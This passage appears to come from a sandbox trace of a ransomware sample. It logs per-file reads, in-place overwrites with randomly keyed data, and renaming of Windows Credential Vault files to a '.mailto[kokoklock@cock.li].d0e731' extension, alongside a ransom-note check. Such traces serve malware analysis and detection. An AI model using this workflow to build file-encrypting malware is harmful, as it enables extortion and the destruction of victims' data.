"c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.616] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.617] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.617] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", dwFileAttributes=0x20) returned 0 [0079.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x34308c0 [0079.617] wcscpy (in: _Dest=0x34308c0, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0079.617] wcscat (in: _Dest=0x34308c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\D0E731-Readme.txt" [0079.617] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\d0e731-readme.txt")) returned 0x20 [0079.617] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34308c0) returned 1 [0079.617] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcab8) returned 1 [0079.617] RtlExitUserThread (Status=0x1) Thread: id = 932 os_tid = 0x1594 [0079.619] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch")) returned 0x20 [0079.619] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", dwFileAttributes=0x20) returned 1 [0079.619] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0079.619] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x21f3f9a4 | out: lpFileSize=0x21f3f9a4*=262) returned 1 [0079.619] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x102, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.619] ReadFile (in: hFile=0x438, lpBuffer=0x21f3f978, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21f3f974, lpOverlapped=0x0 | out: lpBuffer=0x21f3f978*, lpNumberOfBytesRead=0x21f3f974*=0x4, lpOverlapped=0x0) returned 1 [0079.620] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f60 [0079.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e70 [0079.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34920f0 [0079.620] NtQuerySystemTime (in: CurrentTime=0x21f3f950 | out: CurrentTime=0x21f3f950*=132121176375167351) returned 0x0 [0079.620] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x682ee5fd [0079.620] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x4b355917 [0079.620] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x38ecacda [0079.620] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x64d95c6c [0079.620] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x41d34336 [0079.620] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x4bbb8313 [0079.620] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0xcec0c46e [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0xb85cc161 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0xcde349a1 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x54f3f8b7 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0xa6647f1d [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x9e78a83e [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0xd9a84957 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x944b0fe2 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x76e31064 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x7f74b87e [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x8d35253e [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x5b66706d [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x1e73f3f1 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x3154b784 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x56b8ecc5 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0xaad0f323 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x6608b280 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x6b21019d [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x9557bff6 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x3cdbd985 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0xf79e5a0e [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0xc4263940 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0xa9cfe9e [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0x3a2b73f0 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0xfee45739 [0079.621] RtlRandom (in: Seed=0x21f3f95c | out: Seed=0x21f3f95c) returned 0xccfaf73e [0079.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491f60) returned 1 [0079.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.633] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x106, lpNumberOfBytesRead=0x21f3f950, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21f3f950*=0x106, lpOverlapped=0x0) returned 1 [0079.633] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21f3f918 | out: lpNewFilePointer=0x0) returned 1 [0079.633] WriteFile (in: hFile=0x438, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x21f3f94c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x21f3f94c*=0x106, lpOverlapped=0x0) returned 1 [0079.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.633] WriteFile (in: hFile=0x438, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21f3f948, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x21f3f948*=0x20, lpOverlapped=0x0) returned 1 [0079.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.634] WriteFile (in: hFile=0x438, lpBuffer=0x3492190*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x21f3f974, lpOverlapped=0x0 | out: lpBuffer=0x3492190*, lpNumberOfBytesWritten=0x21f3f974*=0x8, lpOverlapped=0x0) returned 1 [0079.634] WriteFile (in: hFile=0x438, lpBuffer=0x21f3f98c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21f3f974, lpOverlapped=0x0 | out: lpBuffer=0x21f3f98c*, lpNumberOfBytesWritten=0x21f3f974*=0x4, lpOverlapped=0x0) returned 1 [0079.634] WriteFile (in: hFile=0x438, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21f3f974, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x21f3f974*=0x4, lpOverlapped=0x0) returned 1 [0079.634] WriteFile (in: hFile=0x438, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x21f3f974, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x21f3f974*=0x6c, lpOverlapped=0x0) returned 1 [0079.634] WriteFile (in: hFile=0x438, lpBuffer=0x3491e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21f3f974, lpOverlapped=0x0 | out: lpBuffer=0x3491e70*, lpNumberOfBytesWritten=0x21f3f974*=0x20, lpOverlapped=0x0) returned 1 [0079.634] WriteFile (in: hFile=0x438, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21f3f974, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x21f3f974*=0x4, lpOverlapped=0x0) returned 1 [0079.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492118) returned 1 [0079.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492190) returned 1 [0079.634] CloseHandle (hObject=0x438) returned 1 [0079.634] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x126) returned 0x33fcab8 [0079.634] wcscpy (in: _Dest=0x33fcab8, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" [0079.635] wcscat (in: _Dest=0x33fcab8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.mailto[kokoklock@cock.li].d0e731" [0079.635] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.635] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcab8) returned 1 [0079.636] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", dwFileAttributes=0x20) returned 0 [0079.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x34308c0 [0079.636] wcscpy (in: _Dest=0x34308c0, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0079.636] wcscat (in: _Dest=0x34308c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\D0E731-Readme.txt" [0079.636] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\d0e731-readme.txt")) returned 0x20 [0079.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34308c0) returned 1 [0079.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ad88) returned 1 [0079.636] RtlExitUserThread (Status=0x1) Thread: id = 933 os_tid = 0x1598 [0079.637] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol")) returned 0x20 [0079.637] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol", dwFileAttributes=0x20) returned 1 [0079.638] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0079.638] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x21fbf794 | out: lpFileSize=0x21fbf794*=444) returned 1 [0079.638] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.638] ReadFile (in: hFile=0x438, lpBuffer=0x21fbf768, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21fbf764, lpOverlapped=0x0 | out: lpBuffer=0x21fbf768*, lpNumberOfBytesRead=0x21fbf764*=0x4, lpOverlapped=0x0) returned 1 [0079.639] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.639] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f60 [0079.639] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e70 [0079.639] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492118 [0079.639] NtQuerySystemTime (in: CurrentTime=0x21fbf740 | out: CurrentTime=0x21fbf740*=132121176375324219) returned 0x0 [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x6953f1ff [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0xa8f3cd67 [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x8dfe5531 [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0xa2af7fcd [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0xcd1f07e9 [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0xc949a41d [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x77a12226 [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x5f572cf9 [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x72cf3bab [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x676f1f00 [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0xceccdcb7 [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0xd6f9185 [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x20be3f2c [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0xa090a18a [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x837f736e [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x53678f67 [0079.639] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x1ff1fb94 [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0xdb96ba5d [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x5f7b7b39 [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x5835d961 [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x579691b1 [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x62c85fe7 [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x9368af4 [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x7a2b4143 [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x44c5c6d [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x37a042bd [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0xa69bd64a [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x6a923f20 [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x149a09e4 [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x8d67b848 [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0xc34bc80f [0079.640] RtlRandom (in: Seed=0x21fbf74c | out: Seed=0x21fbf74c) returned 0x13252b2 [0079.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491f60) returned 1 [0079.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.652] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1bc, lpNumberOfBytesRead=0x21fbf740, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21fbf740*=0x1bc, lpOverlapped=0x0) returned 1 [0079.652] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21fbf708 | out: lpNewFilePointer=0x0) returned 1 [0079.652] WriteFile (in: hFile=0x438, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x1bc, lpNumberOfBytesWritten=0x21fbf73c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x21fbf73c*=0x1bc, lpOverlapped=0x0) returned 1 [0079.653] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.653] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.653] WriteFile (in: hFile=0x438, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21fbf738, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x21fbf738*=0x20, lpOverlapped=0x0) returned 1 [0079.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.654] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.654] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.654] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.654] WriteFile (in: hFile=0x438, lpBuffer=0x3492190*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x21fbf764, lpOverlapped=0x0 | out: lpBuffer=0x3492190*, lpNumberOfBytesWritten=0x21fbf764*=0x8, lpOverlapped=0x0) returned 1 [0079.654] WriteFile (in: hFile=0x438, lpBuffer=0x21fbf77c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21fbf764, lpOverlapped=0x0 | out: lpBuffer=0x21fbf77c*, lpNumberOfBytesWritten=0x21fbf764*=0x4, lpOverlapped=0x0) returned 1 [0079.654] WriteFile (in: hFile=0x438, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21fbf764, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x21fbf764*=0x4, lpOverlapped=0x0) returned 1 [0079.654] WriteFile (in: hFile=0x438, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x21fbf764, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x21fbf764*=0x6c, lpOverlapped=0x0) returned 1 [0079.655] WriteFile (in: hFile=0x438, lpBuffer=0x3491e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21fbf764, lpOverlapped=0x0 | out: lpBuffer=0x3491e70*, lpNumberOfBytesWritten=0x21fbf764*=0x20, lpOverlapped=0x0) returned 1 [0079.655] WriteFile (in: hFile=0x438, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21fbf764, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x21fbf764*=0x4, lpOverlapped=0x0) returned 1 [0079.655] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.655] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492140) returned 1 [0079.655] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492190) returned 1 [0079.655] CloseHandle (hObject=0x438) returned 1 [0079.656] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xea) returned 0x33e5ad8 [0079.656] wcscpy (in: _Dest=0x33e5ad8, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" [0079.656] wcscat (in: _Dest=0x33e5ad8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.mailto[kokoklock@cock.li].d0e731" [0079.656] MoveFileW (lpExistingFileName="C:\\Users\\All 